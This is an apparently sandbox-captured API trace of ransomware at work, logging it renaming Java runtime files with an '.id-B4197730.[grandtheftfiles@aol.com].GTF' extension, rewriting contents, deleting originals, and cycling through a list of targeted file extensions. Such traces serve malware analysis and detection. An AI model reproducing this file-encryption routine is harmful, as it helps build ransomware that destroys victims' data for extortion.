	[0071.563] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0071.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.563] lstrlenW (lpString=".jpg") returned 4
	[0071.563] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0071.563] lstrcmpiW (lpString1=".zip", lpString2=".GTF") returned 1
	[0071.563] lstrlenW (lpString="ffjcext.zip") returned 11
	[0071.563] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.571] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=14156) returned 1
	[0071.571] CloseHandle (hObject=0x338) returned 1
	[0071.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20
	[0071.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.571] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.571] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.572] GetLastError () returned 0x0
	[0071.572] ReadFile (in: hFile=0x338, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x374c, lpOverlapped=0x0) returned 1
	[0071.574] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3750, lpOverlapped=0x0) returned 1
	[0071.576] ReadFile (in: hFile=0x338, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.576] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xea, lpOverlapped=0x0) returned 1
	[0071.576] SetEndOfFile (hFile=0x31c) returned 1
	[0071.576] CloseHandle (hObject=0x31c) returned 1
	[0071.577] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.577] SetEndOfFile (hFile=0x338) returned 1
	[0071.578] CloseHandle (hObject=0x338) returned 1
	[0071.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.578] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1
	[0071.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0071.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0071.579] lstrlenW (lpString=".doc") returned 4
	[0071.579] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0071.579] lstrlenW (lpString=".docx") returned 5
	[0071.579] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0071.579] lstrlenW (lpString=".pdf") returned 4
	[0071.579] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0071.579] lstrlenW (lpString=".xls") returned 4
	[0071.579] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0071.579] lstrlenW (lpString=".xlsx") returned 5
	[0071.579] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0071.579] lstrlenW (lpString=".ppt") returned 4
	[0071.579] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0071.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0071.579] lstrlenW (lpString=".zip") returned 4
	[0071.579] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0071.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0071.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0071.579] lstrlenW (lpString=".doc") returned 4
	[0071.579] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0071.579] lstrlenW (lpString=".docx") returned 5
	[0071.580] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0071.580] lstrlenW (lpString=".pdf") returned 4
	[0071.580] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0071.580] lstrlenW (lpString=".xls") returned 4
	[0071.580] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0071.580] lstrlenW (lpString=".xlsx") returned 5
	[0071.580] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0071.580] lstrlenW (lpString=".ppt") returned 4
	[0071.580] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0071.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0071.580] lstrlenW (lpString=".zip") returned 4
	[0071.580] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0071.580] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.580] lstrlenW (lpString="splash_11-lic.gif") returned 17
	[0071.580] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.580] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=7805) returned 1
	[0071.580] CloseHandle (hObject=0x338) returned 1
	[0071.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20
	[0071.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.580] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.581] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.581] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.581] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.581] GetLastError () returned 0x0
	[0071.581] ReadFile (in: hFile=0x338, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1e7d, lpOverlapped=0x0) returned 1
	[0071.590] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0071.591] ReadFile (in: hFile=0x338, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.592] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.592] SetEndOfFile (hFile=0x31c) returned 1
	[0071.592] CloseHandle (hObject=0x31c) returned 1
	[0071.593] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.593] SetEndOfFile (hFile=0x338) returned 1
	[0071.593] CloseHandle (hObject=0x338) returned 1
	[0071.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.594] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1
	[0071.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.594] lstrlenW (lpString=".doc") returned 4
	[0071.594] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.594] lstrlenW (lpString=".docx") returned 5
	[0071.594] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0071.594] lstrlenW (lpString=".pdf") returned 4
	[0071.594] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.594] lstrlenW (lpString=".xls") returned 4
	[0071.594] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.594] lstrlenW (lpString=".xlsx") returned 5
	[0071.594] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0071.594] lstrlenW (lpString=".ppt") returned 4
	[0071.594] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.594] lstrlenW (lpString=".zip") returned 4
	[0071.594] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.594] lstrlenW (lpString=".rar") returned 4
	[0071.594] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.594] lstrlenW (lpString=".bz2") returned 4
	[0071.594] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.595] lstrlenW (lpString=".7z") returned 3
	[0071.595] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.595] lstrlenW (lpString=".dbf") returned 4
	[0071.595] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.595] lstrlenW (lpString=".1cd") returned 4
	[0071.595] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.595] lstrlenW (lpString=".jpg") returned 4
	[0071.595] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.595] lstrlenW (lpString=".doc") returned 4
	[0071.595] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.595] lstrlenW (lpString=".docx") returned 5
	[0071.595] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0071.595] lstrlenW (lpString=".pdf") returned 4
	[0071.595] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.595] lstrlenW (lpString=".xls") returned 4
	[0071.595] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.595] lstrlenW (lpString=".xlsx") returned 5
	[0071.595] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0071.595] lstrlenW (lpString=".ppt") returned 4
	[0071.595] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.595] lstrlenW (lpString=".zip") returned 4
	[0071.595] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.596] lstrlenW (lpString=".rar") returned 4
	[0071.596] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.596] lstrlenW (lpString=".bz2") returned 4
	[0071.596] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.596] lstrlenW (lpString=".7z") returned 3
	[0071.596] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.596] lstrlenW (lpString=".dbf") returned 4
	[0071.596] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.596] lstrlenW (lpString=".1cd") returned 4
	[0071.596] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0071.596] lstrlenW (lpString=".jpg") returned 4
	[0071.596] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.596] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.596] lstrlenW (lpString="invalid32x32.gif") returned 16
	[0071.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.597] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=153) returned 1
	[0071.597] CloseHandle (hObject=0x338) returned 1
	[0071.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20
	[0071.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.597] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.597] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.598] GetLastError () returned 0x0
	[0071.598] ReadFile (in: hFile=0x338, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x99, lpOverlapped=0x0) returned 1
	[0071.599] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0071.600] ReadFile (in: hFile=0x338, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.600] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0071.600] SetEndOfFile (hFile=0x31c) returned 1
	[0071.600] CloseHandle (hObject=0x31c) returned 1
	[0071.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.601] SetEndOfFile (hFile=0x338) returned 1
	[0071.601] CloseHandle (hObject=0x338) returned 1
	[0071.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.602] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1
	[0071.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.602] lstrlenW (lpString=".doc") returned 4
	[0071.602] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.602] lstrlenW (lpString=".docx") returned 5
	[0071.602] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0071.602] lstrlenW (lpString=".pdf") returned 4
	[0071.602] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.602] lstrlenW (lpString=".xls") returned 4
	[0071.602] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.602] lstrlenW (lpString=".xlsx") returned 5
	[0071.602] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0071.602] lstrlenW (lpString=".ppt") returned 4
	[0071.602] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.602] lstrlenW (lpString=".zip") returned 4
	[0071.602] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString=".rar") returned 4
	[0071.603] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString=".bz2") returned 4
	[0071.603] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.603] lstrlenW (lpString=".7z") returned 3
	[0071.603] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.603] lstrlenW (lpString=".dbf") returned 4
	[0071.603] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.603] lstrlenW (lpString=".1cd") returned 4
	[0071.603] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.603] lstrlenW (lpString=".jpg") returned 4
	[0071.603] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.603] lstrlenW (lpString=".doc") returned 4
	[0071.603] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.603] lstrlenW (lpString=".docx") returned 5
	[0071.603] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0071.603] lstrlenW (lpString=".pdf") returned 4
	[0071.603] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString=".xls") returned 4
	[0071.603] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString=".xlsx") returned 5
	[0071.603] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0071.603] lstrlenW (lpString=".ppt") returned 4
	[0071.603] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.603] lstrlenW (lpString=".zip") returned 4
	[0071.603] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString=".rar") returned 4
	[0071.603] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.603] lstrlenW (lpString=".bz2") returned 4
	[0071.603] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.604] lstrlenW (lpString=".7z") returned 3
	[0071.604] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.604] lstrlenW (lpString=".dbf") returned 4
	[0071.604] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.604] lstrlenW (lpString=".1cd") returned 4
	[0071.604] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0071.604] lstrlenW (lpString=".jpg") returned 4
	[0071.604] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.604] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.604] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23
	[0071.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.615] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=165) returned 1
	[0071.615] CloseHandle (hObject=0x368) returned 1
	[0071.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20
	[0071.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.616] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
